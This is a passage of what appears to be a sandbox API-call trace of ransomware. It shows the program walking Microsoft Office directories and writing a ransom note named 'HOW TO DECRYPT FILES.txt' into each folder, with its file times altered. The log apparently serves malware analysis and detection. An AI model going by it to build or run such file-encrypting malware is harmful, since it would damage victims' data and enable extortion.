returned="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" [0066.398] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\how to decrypt files.txt")) returned 0x20 [0066.398] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="OUTLRPC.DLL" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OUTLRPC.DLL") returned="C:\\Program Files\\Microsoft Office\\Office14\\OUTLRPC.DLL" [0066.398] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x6ccf2b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x11770, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLVBS.DLL", cAlternateFileName="")) returned 1 [0066.399] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.399] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="OUTLVBS.DLL") returned -1 [0066.399] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="OUTLVBS.DLL") returned -1 [0066.399] lstrcmpiA (lpString1="", lpString2="OUTLVBS.DLL") returned -1 [0066.399] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\OUTLRPC.DLL") returned="OUTLRPC.DLL" [0066.399] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.399] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.399] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" [0066.399] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\how to decrypt files.txt")) returned 0x20 [0066.399] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="OUTLVBS.DLL" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OUTLVBS.DLL") returned="C:\\Program Files\\Microsoft Office\\Office14\\OUTLVBS.DLL" [0066.399] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59d27370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ce49790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAGESIZE", cAlternateFileName="")) returned 1 [0066.399] lstrcmpA (lpString1=".", lpString2="PAGESIZE") returned -1 [0066.399] lstrcmpA (lpString1="..", lpString2="PAGESIZE") returned -1 [0066.399] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\OUTLVBS.DLL") returned="OUTLVBS.DLL" [0066.400] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="PAGESIZE" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0066.400] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59d27370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ce49790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x4f81a6, cFileName=".", cAlternateFileName="")) returned 0x502518 [0066.403] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0066.403] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59d27370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ce49790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0066.403] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0066.403] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0066.403] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb180a100, ftCreationTime.dwHighDateTime=0x1ca10e6, ftLastAccessTime.dwLowDateTime=0x59d27370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb180a100, ftLastWriteTime.dwHighDateTime=0x1ca10e6, nFileSizeHigh=0x0, nFileSizeLow=0xfb6, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PGLBL001.XML", cAlternateFileName="")) returned 1 [0066.403] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.404] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PGLBL001.XML") returned -1 [0066.404] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PGLBL001.XML") returned -1 [0066.404] lstrcmpiA (lpString1="", lpString2="PGLBL001.XML") returned -1 [0066.404] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\*.*") returned="*.*" [0066.404] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0066.404] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="" [0066.404] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\HOW TO DECRYPT FILES.txt" [0066.404] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\how to decrypt files.txt")) returned 0xffffffff [0066.404] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0066.407] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0066.407] CloseHandle (hObject=0x8c) returned 1 [0066.408] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\", lpString2="PGLBL001.XML" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL001.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL001.XML" [0066.408] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61d99800, ftCreationTime.dwHighDateTime=0x1ca1a4b, ftLastAccessTime.dwLowDateTime=0x59d27370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61d99800, ftLastWriteTime.dwHighDateTime=0x1ca1a4b, nFileSizeHigh=0x0, nFileSizeLow=0x15b1fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL002.XML", cAlternateFileName="")) returned 1 [0066.408] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.408] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PGLBL002.XML") returned -1 [0066.408] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PGLBL002.XML") returned -1 [0066.408] lstrcmpiA (lpString1="", lpString2="PGLBL002.XML") returned -1 [0066.408] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL001.XML") returned="PGLBL001.XML" [0066.408] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0066.408] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="" [0066.408] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\HOW TO DECRYPT FILES.txt" [0066.408] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\how to decrypt files.txt")) returned 0x20 [0066.409] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\", lpString2="PGLBL002.XML" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL002.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL002.XML" [0066.409] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c7ce900, ftCreationTime.dwHighDateTime=0x1c9f4a3, ftLastAccessTime.dwLowDateTime=0x5a340bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2c7ce900, ftLastWriteTime.dwHighDateTime=0x1c9f4a3, nFileSizeHigh=0x0, nFileSizeLow=0x33a1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL010.XML", cAlternateFileName="")) returned 1 [0066.409] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.409] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PGLBL010.XML") returned -1 [0066.409] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PGLBL010.XML") returned -1 [0066.409] lstrcmpiA (lpString1="", lpString2="PGLBL010.XML") returned -1 [0066.409] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL002.XML") returned="PGLBL002.XML" [0066.409] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0066.409] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="" [0066.409] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\HOW TO DECRYPT FILES.txt" [0066.409] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\how to decrypt files.txt")) returned 0x20 [0066.410] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\", lpString2="PGLBL010.XML" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL010.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL010.XML" [0066.410] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x632f2e00, ftCreationTime.dwHighDateTime=0x1c66206, ftLastAccessTime.dwLowDateTime=0x5a340bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x632f2e00, ftLastWriteTime.dwHighDateTime=0x1c66206, nFileSizeHigh=0x0, nFileSizeLow=0x1390, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL011.XML", cAlternateFileName="")) returned 1 [0066.410] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.410] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PGLBL011.XML") returned -1 [0066.410] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PGLBL011.XML") returned -1 [0066.410] lstrcmpiA (lpString1="", lpString2="PGLBL011.XML") returned -1 [0066.410] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL010.XML") returned="PGLBL010.XML" [0066.410] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0066.410] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="" [0066.410] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\HOW TO DECRYPT FILES.txt" [0066.410] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\how to decrypt files.txt")) returned 0x20 [0066.410] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\", lpString2="PGLBL011.XML" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL011.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL011.XML" [0066.410] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dea2700, ftCreationTime.dwHighDateTime=0x1ca1b37, ftLastAccessTime.dwLowDateTime=0x6cdfd4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9dea2700, ftLastWriteTime.dwHighDateTime=0x1ca1b37, nFileSizeHigh=0x0, nFileSizeLow=0xa5178, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL012.XML", cAlternateFileName="")) returned 1 [0066.411] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.411] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PGLBL012.XML") returned -1 [0066.411] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PGLBL012.XML") returned -1 [0066.411] lstrcmpiA (lpString1="", lpString2="PGLBL012.XML") returned -1 [0066.411] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL011.XML") returned="PGLBL011.XML" [0066.411] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0066.411] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="" [0066.411] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\HOW TO DECRYPT FILES.txt" [0066.411] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\how to decrypt files.txt")) returned 0x20 [0066.411] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\", lpString2="PGLBL012.XML" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL012.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL012.XML" [0066.411] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca994100, ftCreationTime.dwHighDateTime=0x1ca1b2d, ftLastAccessTime.dwLowDateTime=0x6cdfd4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca994100, ftLastWriteTime.dwHighDateTime=0x1ca1b2d, nFileSizeHigh=0x0, nFileSizeLow=0x22cf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL016.XML", cAlternateFileName="")) returned 1 [0066.411] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.411] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PGLBL016.XML") returned -1 [0066.411] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PGLBL016.XML") returned -1 [0066.411] lstrcmpiA (lpString1="", lpString2="PGLBL016.XML") returned -1 [0066.412] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL012.XML") returned="PGLBL012.XML" [0066.412] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0066.412] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="" [0066.412] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\HOW TO DECRYPT FILES.txt" [0066.412] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\how to decrypt files.txt")) returned 0x20 [0066.412] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\", lpString2="PGLBL016.XML" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL016.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL016.XML" [0066.412] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9ac00, ftCreationTime.dwHighDateTime=0x1c6c1cc, ftLastAccessTime.dwLowDateTime=0x5a340bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69d9ac00, ftLastWriteTime.dwHighDateTime=0x1c6c1cc, nFileSizeHigh=0x0, nFileSizeLow=0x101bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL020.XML", cAlternateFileName="")) returned 1 [0066.412] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.412] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PGLBL020.XML") returned -1 [0066.412] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PGLBL020.XML") returned -1 [0066.412] lstrcmpiA (lpString1="", lpString2="PGLBL020.XML") returned -1 [0066.412] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL016.XML") returned="PGLBL016.XML" [0066.412] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0066.412] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="" [0066.412] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\HOW TO DECRYPT FILES.txt" [0066.413] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\how to decrypt files.txt")) returned 0x20 [0066.413] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\", lpString2="PGLBL020.XML" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL020.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL020.XML" [0066.413] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93746100, ftCreationTime.dwHighDateTime=0x1ca1b28, ftLastAccessTime.dwLowDateTime=0x6cdfd4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93746100, ftLastWriteTime.dwHighDateTime=0x1ca1b28, nFileSizeHigh=0x0, nFileSizeLow=0x24c9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL022.XML", cAlternateFileName="")) returned 1 [0066.413] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.413] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PGLBL022.XML") returned -1 [0066.413] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PGLBL022.XML") returned -1 [0066.413] lstrcmpiA (lpString1="", lpString2="PGLBL022.XML") returned -1 [0066.413] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL020.XML") returned="PGLBL020.XML" [0066.413] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0066.413] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="" [0066.413] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\HOW TO DECRYPT FILES.txt" [0066.413] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\how to decrypt files.txt")) returned 0x20 [0066.413] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\", lpString2="PGLBL022.XML" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL022.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL022.XML" [0066.414] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x632f2e00, ftCreationTime.dwHighDateTime=0x1c66206, ftLastAccessTime.dwLowDateTime=0x6cdfd4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x632f2e00, ftLastWriteTime.dwHighDateTime=0x1c66206, nFileSizeHigh=0x0, nFileSizeLow=0x1f4e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL026.XML", cAlternateFileName="")) returned 1 [0066.414] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.414] lstrcmpiA (lpString1="ÊÀÊ 